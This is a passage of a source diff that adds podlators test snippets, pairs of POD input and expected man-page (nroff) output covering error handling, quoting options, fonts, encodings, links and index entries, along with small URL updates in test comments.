+POD document had syntax errors
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-none b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-none
new file mode 100644
index 00000000000..676fc401d53
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-none
@@ -0,0 +1,21 @@
+[name]
+Suppress errors
+
+[options]
+errors none
+
+[input]
+=over 4
+
+=item Foo
+
+Bar.
+
+=head1 NEXT
+
+[output]
+.IP "Foo" 4
+.IX Item "Foo"
+Bar.
+.SH "NEXT"
+.IX Header "NEXT"
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-normal b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-normal
new file mode 100644
index 00000000000..cdd5d40e00b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-normal
@@ -0,0 +1,24 @@
+[name]
+Normal error handling
+
+[input]
+=over 4
+
+=item Foo
+
+Bar.
+
+=head1 NEXT
+
+[output]
+.IP "Foo" 4
+.IX Item "Foo"
+Bar.
+.SH "NEXT"
+.IX Header "NEXT"
+.SH "POD ERRORS"
+.IX Header "POD ERRORS"
+Hey! \fBThe above document had some coding errors, which are explained below:\fR
+.IP "Around line 7:" 4
+.IX Item "Around line 7:"
+You forgot a '=back' before '=head1'
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-pod b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-pod
new file mode 100644
index 00000000000..44056539a47
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-pod
@@ -0,0 +1,27 @@
+[name]
+Errors to POD source
+
+[options]
+errors pod
+
+[input]
+=over 4
+
+=item Foo
+
+Bar.
+
+=head1 NEXT
+
+[output]
+.IP "Foo" 4
+.IX Item "Foo"
+Bar.
+.SH "NEXT"
+.IX Header "NEXT"
+.SH "POD ERRORS"
+.IX Header "POD ERRORS"
+Hey! \fBThe above document had some coding errors, which are explained below:\fR
+.IP "Around line 7:" 4
+.IX Item "Around line 7:"
+You forgot a '=back' before '=head1'
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-stderr b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-stderr
new file mode 100644
index 00000000000..9effc9eef97
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-stderr
@@ -0,0 +1,24 @@
+[name]
+Errors to standard error
+
+[options]
+errors stderr
+
+[input]
+=over 4
+
+=item Foo
+
+Bar.
+
+=head1 NEXT
+
+[output]
+.IP "Foo" 4
+.IX Item "Foo"
+Bar.
+.SH "NEXT"
+.IX Header "NEXT"
+
+[errors]
+Pod input around line 7: You forgot a '=back' before '=head1'
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-stderr-opt b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-stderr-opt
new file mode 100644
index 00000000000..e4e0cf8e195
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-stderr-opt
@@ -0,0 +1,24 @@
+[name]
+Errors to standard error with stderr option
+
+[options]
+stderr 1
+
+[input]
+=over 4
+
+=item Foo
+
+Bar.
+
+=head1 NEXT
+
+[output]
+.IP "Foo" 4
+.IX Item "Foo"
+Bar.
+.SH "NEXT"
+.IX Header "NEXT"
+
+[errors]
+Pod input around line 7: You forgot a '=back' before '=head1'
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/eth b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/eth
new file mode 100644
index 00000000000..6583ccb1fda
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/eth
@@ -0,0 +1,10 @@
+[name]
+E<eth>
+
+[input]
+=pod
+
+E<eth>
+
+[output]
+\&\*(d-
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/fixed-font b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/fixed-font
new file mode 100644
index 00000000000..f0b8524e715
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/fixed-font
@@ -0,0 +1,18 @@
+[name]
+Options to set fixed fonts
+
+[options]
+fixed CR
+fixedbold CY
+fixeditalic CW
+fixedbolditalic CX
+
+[input]
+=head1 FIXED FONTS
+
+C<foo B<bar I<baz>> I<bay>>
+
+[output]
+.SH "FIXED FONTS"
+.IX Header "FIXED FONTS"
+\&\f(CR\*(C`foo \f(CYbar \f(CXbaz\f(CY\f(CR \f(CWbay\f(CR\*(C'\fR
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/fixed-font-in-item b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/fixed-font-in-item
new file mode 100644
index 00000000000..e096fd4cd61
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/fixed-font-in-item
@@ -0,0 +1,29 @@
+[name]
+Fixed-width font in item
+
+[input]
+=head1 Fixed-width Fonts in =item
+
+The nroff portion should not use fixed-width fonts. In podlators 4.06 and
+earlier, italic was terminated with \f(CW, which didn't properly stop italic.
+
+=over 2
+
+=item C<tar I<option>... [I<name>]...>
+
+=item C<tar I<letter>... [I<argument>]... [I<option>]... [I<name>]...>
+
+=back
+
+[output]
+.SH "Fixed-width Fonts in =item"
+.IX Header "Fixed-width Fonts in =item"
+The nroff portion should not use fixed-width fonts. In podlators 4.06 and
+earlier, italic was terminated with \ef(\s-1CW,\s0 which didn't properly stop italic.
+.ie n .IP """tar \fIoption\fP... [\fIname\fP]...""" 2
+.el .IP "\f(CWtar \f(CIoption\f(CW... [\f(CIname\f(CW]...\fR" 2
+.IX Item "tar option... [name]..."
+.PD 0
+.ie n .IP """tar \fIletter\fP... [\fIargument\fP]... [\fIoption\fP]... [\fIname\fP]...""" 2
+.el .IP "\f(CWtar \f(CIletter\f(CW... [\f(CIargument\f(CW]... [\f(CIoption\f(CW]... [\f(CIname\f(CW]...\fR" 2
+.IX Item "tar letter... [argument]... [option]... [name]..."
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/for-blocks b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/for-blocks
new file mode 100644
index 00000000000..5054f728b95
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/for-blocks
@@ -0,0 +1,33 @@
+[name]
+=for blocks
+
+[input]
+=pod
+
+Some text.
+
+=for man
+Some raw nroff.
+
+=for roff \fBBold text.\fP
+
+=for html
+Stuff that's hidden.
+
+=for MAN \fIItalic text.\fP
+
+=for ROFF
+.PP
+\&A paragraph.
+
+More text.
+
+[output]
+Some text.
+Some raw nroff.
+\fBBold text.\fP
+\fIItalic text.\fP
+.PP
+\&A paragraph.
+.PP
+More text.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/hyphen-in-s b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/hyphen-in-s
new file mode 100644
index 00000000000..dbadd44a5f0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/hyphen-in-s
@@ -0,0 +1,14 @@
+[name]
+Hyphen in S<>
+
+[input]
+=head1 Hyphen in SE<lt>E<gt>
+
+Don't S<transform even-this hyphen>. This "one's-fine!", as well. However,
+$-0.13 should have a real hyphen.
+
+[output]
+.SH "Hyphen in S<>"
+.IX Header "Hyphen in S<>"
+Don't transform\ even-this\ hyphen. This \*(L"one's-fine!\*(R", as well. However,
+$\-0.13 should have a real hyphen.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/iso-8859-1 b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/iso-8859-1
new file mode 100644
index 00000000000..6486e7741ec
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/iso-8859-1
@@ -0,0 +1,28 @@
+[name]
+ISO-8859-1 encoding
+
+[input]
+=encoding iso-8859-1
+
+=head1 ACCENTS
+
+Beyoncé! Beyoncé! Beyoncé!!
+
+ Beyoncé! Beyoncé!
+ Beyoncé! Beyoncé!
+ Beyoncé! Beyoncé!
+
+Older versions didn't convert Beyoncé in verbatim.
+
+[output]
+.SH "ACCENTS"
+.IX Header "ACCENTS"
+Beyonce\*'! Beyonce\*'! Beyonce\*'!!
+.PP
+.Vb 3
+\& Beyonce\*'! Beyonce\*'!
+\& Beyonce\*'! Beyonce\*'!
+\& Beyonce\*'! Beyonce\*'!
+.Ve
+.PP
+Older versions didn't convert Beyonce\*' in verbatim.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/item-fonts b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/item-fonts
new file mode 100644
index 00000000000..e695cc3da39
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/item-fonts
@@ -0,0 +1,14 @@
+[name]
+Fonts in items
+
+[input]
+=over 4
+
+=item 1. Check fonts in @CARP_NOT test.
+
+=back
+
+[output]
+.ie n .IP "1. Check fonts in @CARP_NOT test." 4
+.el .IP "1. Check fonts in \f(CW@CARP_NOT\fR test." 4
+.IX Item "1. Check fonts in @CARP_NOT test."
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/link-quoting b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/link-quoting
new file mode 100644
index 00000000000..9f9157a38aa
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/link-quoting
@@ -0,0 +1,12 @@
+[name]
+Link quoting
+
+[input]
+=head1 LINK QUOTING
+
+There should not be double quotes: L<C<< (?>pattern) >>>.
+
+[output]
+.SH "LINK QUOTING"
+.IX Header "LINK QUOTING"
+There should not be double quotes: \f(CW\*(C`(?>pattern)\*(C'\fR.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/link-to-url b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/link-to-url
new file mode 100644
index 00000000000..7f81e3c7f82
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/link-to-url
@@ -0,0 +1,25 @@
+[name]
+Link to URL
+
+[input]
+=head1 LINK TO URL
+
+This is a L<link|http://www.example.com/> to a URL.
+
+The newest version of this document is also available on the World Wide Web at
+L<http://pod.tst.eu/http://cvs.schmorp.de/rxvt-unicode/doc/rxvt.7.pod>.
+
+=head1 RT LINK
+
+L<[perl #12345]|https://rt.cpan.org/12345>
+
+[output]
+.SH "LINK TO URL"
+.IX Header "LINK TO URL"
+This is a link <http://www.example.com/> to a \s-1URL.\s0
+.PP
+The newest version of this document is also available on the World Wide Web at
+<http://pod.tst.eu/http://cvs.schmorp.de/rxvt\-unicode/doc/rxvt.7.pod>.
+.SH "RT LINK"
+.IX Header "RT LINK"
+[perl #12345] <https://rt.cpan.org/12345>
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/long-quote b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/long-quote
new file mode 100644
index 00000000000..589dcb99eaf
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/long-quote
@@ -0,0 +1,16 @@
+[name]
+Long quotes option
+
+[options]
+quotes \(lq"\(rq"
+
+[input]
+=head1 FOO C<BAR> BAZ
+
+Foo C<bar> baz.
+
+[output]
+.ie n .SH "FOO \(lq""BAR\(rq"" BAZ"
+.el .SH "FOO \f(CWBAR\fP BAZ"
+.IX Header "FOO BAR BAZ"
+Foo \f(CW\*(C`bar\*(C'\fR baz.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/lquote-and-quote b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/lquote-and-quote
new file mode 100644
index 00000000000..def8fe3893d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/lquote-and-quote
@@ -0,0 +1,17 @@
+[name]
+lquote and quotes both used
+
+[options]
+lquote ``
+quotes "
+
+[input]
+=head1 FOO C<BAR> BAZ
+
+Foo C<bar> baz.
+
+[output]
+.ie n .SH "FOO ``BAR"" BAZ"
+.el .SH "FOO \f(CWBAR\fP BAZ"
+.IX Header "FOO BAR BAZ"
+Foo \f(CW\*(C`bar\*(C'\fR baz.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/lquote-rquote b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/lquote-rquote
new file mode 100644
index 00000000000..481e5451fdb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/lquote-rquote
@@ -0,0 +1,17 @@
+[name]
+Set separate left and right quotes
+
+[options]
+lquote ``
+rquote "
+
+[input]
+=head1 FOO C<BAR> BAZ
+
+Foo C<bar> baz.
+
+[output]
+.ie n .SH "FOO ``BAR"" BAZ"
+.el .SH "FOO \f(CWBAR\fP BAZ"
+.IX Header "FOO BAR BAZ"
+Foo \f(CW\*(C`bar\*(C'\fR baz.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/markup-in-name b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/markup-in-name
new file mode 100644
index 00000000000..de27acddf17
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/markup-in-name
@@ -0,0 +1,11 @@
+[name]
+Various markup in NAME
+
+[input]
+=head1 NAME
+
+test - B<test> I<italics> F<file>
+
+[output]
+.SH "NAME"
+test \- test italics file
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/multiline-x b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/multiline-x
new file mode 100644
index 00000000000..641e4a49d33
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/multiline-x
@@ -0,0 +1,14 @@
+[name]
+Multiline X<>
+
+[input]
+=head1 Multiline XZ<><>
+
+Something something X<this is
+one index term>
+
+[output]
+.SH "Multiline X<>"
+.IX Header "Multiline X<>"
+Something something
+.IX Xref "this is one index term"
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/name-guesswork b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/name-guesswork
new file mode 100644
index 00000000000..6eecd9a36ef
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/name-guesswork
@@ -0,0 +1,18 @@
+[name]
+No guesswork in NAME
+
+[input]
+=head1 NAME
+
+"Stuff" (no guesswork)
+
+=head2 THINGS
+
+Oboy, is this C++ "fun" yet! (guesswork)
+
+[output]
+.SH "NAME"
+"Stuff" (no guesswork)
+.SS "\s-1THINGS\s0"
+.IX Subsection "THINGS"
+Oboy, is this \*(C+ \*(L"fun\*(R" yet! (guesswork)
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/nested-lists b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/nested-lists
new file mode 100644
index 00000000000..45d4a58095a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/nested-lists
@@ -0,0 +1,30 @@
+[name]
+Nested lists
+
+[input]
+=over
+
+=item First level
+
+Blah blah blah....
+
+=over
+
+=item *
+
+Should be a bullet.
+
+=back
+
+=back
+
+[output]
+.IP "First level" 4
+.IX Item "First level"
+Blah blah blah....
+.RS 4
+.IP "\(bu" 4
+Should be a bullet.
+.RE
+.RS 4
+.RE
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/newlines-in-c b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/newlines-in-c
new file mode 100644
index 00000000000..c053c4b4ef5
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/newlines-in-c
@@ -0,0 +1,14 @@
+[name]
+Quoting with C<> and newlines
+
+[input]
+=head1 Newline C Quote Weirdness
+
+Blorp C<'
+''>. Yes.
+
+[output]
+.SH "Newline C Quote Weirdness"
+.IX Header "Newline C Quote Weirdness"
+Blorp \f(CW\*(Aq
+\&\*(Aq\*(Aq\fR. Yes.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/non-ascii b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/non-ascii
new file mode 100644
index 00000000000..739690f9acc
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/non-ascii
@@ -0,0 +1,12 @@
+[name]
+Non-ASCII character
+
+[input]
+=head1 YEN
+
+It cost me E<165>12345! That should be an X.
+
+[output]
+.SH "YEN"
+.IX Header "YEN"
+It cost me X12345! That should be an X.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/not-bullet b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/not-bullet
new file mode 100644
index 00000000000..8b468f0f02b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/not-bullet
@@ -0,0 +1,15 @@
+[name]
+Escaped bullet
+
+[input]
+=over 4
+
+=item Z<>*
+
+Not bullet.
+
+=back
+
+[output]
+.IP "*" 4
+Not bullet.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/not-numbers b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/not-numbers
new file mode 100644
index 00000000000..ecb48f1094f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/not-numbers
@@ -0,0 +1,30 @@
+[name]
+Lists not parsed as numbers
+
+[input]
+=over 4
+
+=item 1. Not a number
+
+=item 2. Spaced right
+
+=back
+
+=over 2
+
+=item 1 Not a number
+
+=item 2 Spaced right
+
+=back
+
+[output]
+.IP "1. Not a number" 4
+.IX Item "1. Not a number"
+.PD 0
+.IP "2. Spaced right" 4
+.IX Item "2. Spaced right"
+.IP "1 Not a number" 2
+.IX Item "1 Not a number"
+.IP "2 Spaced right" 2
+.IX Item "2 Spaced right"
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/nourls b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/nourls
new file mode 100644
index 00000000000..ddbdc4b946c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/nourls
@@ -0,0 +1,15 @@
+[name]
+nourls option
+
+[options]
+nourls 1
+
+[input]
+=head1 URL suppression
+
+L<anchor|http://www.example.com/>
+
+[output]
+.SH "URL suppression"
+.IX Header "URL suppression"
+anchor
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/paired-quotes b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/paired-quotes
new file mode 100644
index 00000000000..f81ed8a2a4a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/paired-quotes
@@ -0,0 +1,20 @@
+[name]
+Paired quotes
+
+[input]
+=head1 SEQS
+
+"=over ... Z<>=back"
+
+"SE<lt>...E<gt>"
+
+The quotes should be converted in the above to paired quotes.
+
+[output]
+.SH "SEQS"
+.IX Header "SEQS"
+\&\*(L"=over ... =back\*(R"
+.PP
+\&\*(L"S<...>\*(R"
+.PP
+The quotes should be converted in the above to paired quotes.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/periods b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/periods
new file mode 100644
index 00000000000..afdea425d2c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/periods
@@ -0,0 +1,12 @@
+[name]
+Quoted periods
+
+[input]
+=head1 PERIODS
+
+This C<.> should be quoted.
+
+[output]
+.SH "PERIODS"
+.IX Header "PERIODS"
+This \f(CW\*(C`.\*(C'\fR should be quoted.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/quote-escaping b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/quote-escaping
new file mode 100644
index 00000000000..9f0a5946f6b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/quote-escaping
@@ -0,0 +1,12 @@
+[name]
+Quote escaping
+
+[input]
+=head1 Quote escaping
+
+Don't escape `this' but do escape C<`this'> (and don't surround it in quotes).
+
+[output]
+.SH "Quote escaping"
+.IX Header "Quote escaping"
+Don't escape `this' but do escape \f(CW\`this\*(Aq\fR (and don't surround it in quotes).
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/rquote-none b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/rquote-none
new file mode 100644
index 00000000000..3de38293f65
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/rquote-none
@@ -0,0 +1,16 @@
+[name]
+rquote set to none
+
+[options]
+rquote none
+
+[input]
+=head1 FOO C<BAR> BAZ
+
+Foo C<bar> baz.
+
+[output]
+.ie n .SH "FOO ""BAR BAZ"
+.el .SH "FOO \f(CWBAR\fP BAZ"
+.IX Header "FOO BAR BAZ"
+Foo \f(CW\*(C`bar\*(C'\fR baz.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/small-caps-magic b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/small-caps-magic
new file mode 100644
index 00000000000..bb5fea6c075
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/small-caps-magic
@@ -0,0 +1,12 @@
+[name]
+Small caps and unbreakable magic
+
+[input]
+=head1 SE<lt>E<gt> MAGIC
+
+Magic should be applied S<RISC OS> to that.
+
+[output]
+.SH "S<> MAGIC"
+.IX Header "S<> MAGIC"
+Magic should be applied \s-1RISC\s0\ \s-1OS\s0 to that.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/soft-hyphens b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/soft-hyphens
new file mode 100644
index 00000000000..90447679dbb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/soft-hyphens
@@ -0,0 +1,40 @@
+[name]
+Soft hyphens
+
+[input]
+=head1 Soft Hyphen Testing
+
+sigE<shy>action
+manuE<shy>script
+JarkE<shy>ko HieE<shy>taE<shy>nieE<shy>mi
+
+And again:
+
+sigE<173>action
+manuE<173>script
+JarkE<173>ko HieE<173>taE<173>nieE<173>mi
+
+And one more time:
+
+sigE<0x00AD>action
+manuE<0x00AD>script
+JarkE<0x00AD>ko HieE<0x00AD>taE<0x00AD>nieE<0x00AD>mi
+
+[output]
+.SH "Soft Hyphen Testing"
+.IX Header "Soft Hyphen Testing"
+sig\%action
+manu\%script
+Jark\%ko Hie\%ta\%nie\%mi
+.PP
+And again:
+.PP
+sig\%action
+manu\%script
+Jark\%ko Hie\%ta\%nie\%mi
+.PP
+And one more time:
+.PP
+sig\%action
+manu\%script
+Jark\%ko Hie\%ta\%nie\%mi
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/trailing-space b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/trailing-space
new file mode 100644
index 00000000000..32c755e55c2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/trailing-space
@@ -0,0 +1,20 @@
+[name]
+Trailing protected space
+
+[input]
+=head1 TRAILING SPACE
+
+HelloS< >
+
+worldS< >
+
+.
+
+[output]
+.SH "TRAILING SPACE"
+.IX Header "TRAILING SPACE"
+Hello\
+.PP
+world\ \ \
+.PP
+\&.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/true-false b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/true-false
new file mode 100644
index 00000000000..6f0e4e0f3cf
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/true-false
@@ -0,0 +1,16 @@
+[name]
+TRUE (1) and FALSE (0)
+
+[input]
+=head1 TRUE (1)
+
+podlators prior to 4.08 misrendered TRUE (1) and FALSE (0) with escaped nroff
+in the output because it tried to apply both small caps and man page reference
+code and got it wrong.
+
+[output]
+.SH "TRUE (1)"
+.IX Header "TRUE (1)"
+podlators prior to 4.08 misrendered \s-1TRUE\s0 (1) and \s-1FALSE\s0 (0) with escaped nroff
+in the output because it tried to apply both small caps and man page reference
+code and got it wrong.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/uppercase-license b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/uppercase-license
new file mode 100644
index 00000000000..4c02452f064
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/uppercase-license
@@ -0,0 +1,24 @@
+[name]
+Uppercase license text
+
+[input]
+=head1 Uppercase License
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+[output]
+.SH "Uppercase License"
+.IX Header "Uppercase License"
+\&\s-1THE SOFTWARE IS PROVIDED \*(L"AS IS\*(R", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\s0
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/x-whitespace b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/x-whitespace
new file mode 100644
index 00000000000..367b29ee155
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/x-whitespace
@@ -0,0 +1,13 @@
+[name]
+Whitespace around X<>
+
+[input]
+=head1 XE<lt>E<gt> Whitespace
+
+Blorpy L<B<prok>|blap> X<bivav> wugga chachacha.
+
+[output]
+.SH "X<> Whitespace"
+.IX Header "X<> Whitespace"
+Blorpy \fBprok\fR wugga chachacha.
+.IX Xref "bivav"
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/x-whitespace-entry b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/x-whitespace-entry
new file mode 100644
index 00000000000..8ec01ace0bd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/x-whitespace-entry
@@ -0,0 +1,13 @@
+[name]
+X<> matching whitespace
+
+[input]
+=head1 INDEX
+
+Index entry matching a whitespace escape.X<\n>
+
+[output]
+.SH "INDEX"
+.IX Header "INDEX"
+Index entry matching a whitespace escape.
+.IX Xref "\\n"
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/docs/pod-spelling.t b/gnu/usr.bin/perl/cpan/podlators/t/docs/pod-spelling.t
index 6debd420277..dc11b9cf923 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/docs/pod-spelling.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/docs/pod-spelling.t
@@ -3,7 +3,7 @@
# Check for spelling errors in POD documentation.
#
# The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
#
# Written by Russ Allbery <eagle@eyrie.org>
# Copyright 2013, 2014
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/docs/pod.t b/gnu/usr.bin/perl/cpan/podlators/t/docs/pod.t
index 674ce300940..2ef7bf07c7a 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/docs/pod.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/docs/pod.t
@@ -3,7 +3,7 @@
# Check all POD documents for POD formatting errors.
#
# The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
#
# Written by Russ Allbery <eagle@eyrie.org>
# Copyright 2012, 2013, 2014
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/docs/synopsis.t b/gnu/usr.bin/perl/cpan/podlators/t/docs/synopsis.t
index 3cdcbab21cb..384e407b7e7 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/docs/synopsis.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/docs/synopsis.t
@@ -3,7 +3,7 @@
# Check the SYNOPSIS section of the documentation for syntax errors.
#
# The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
#
# Written by Russ Allbery <eagle@eyrie.org>
# Copyright 2013, 2014
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/Podlators.pm b/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/Podlators.pm
index 3111d40be62..63795b1ef02 100644
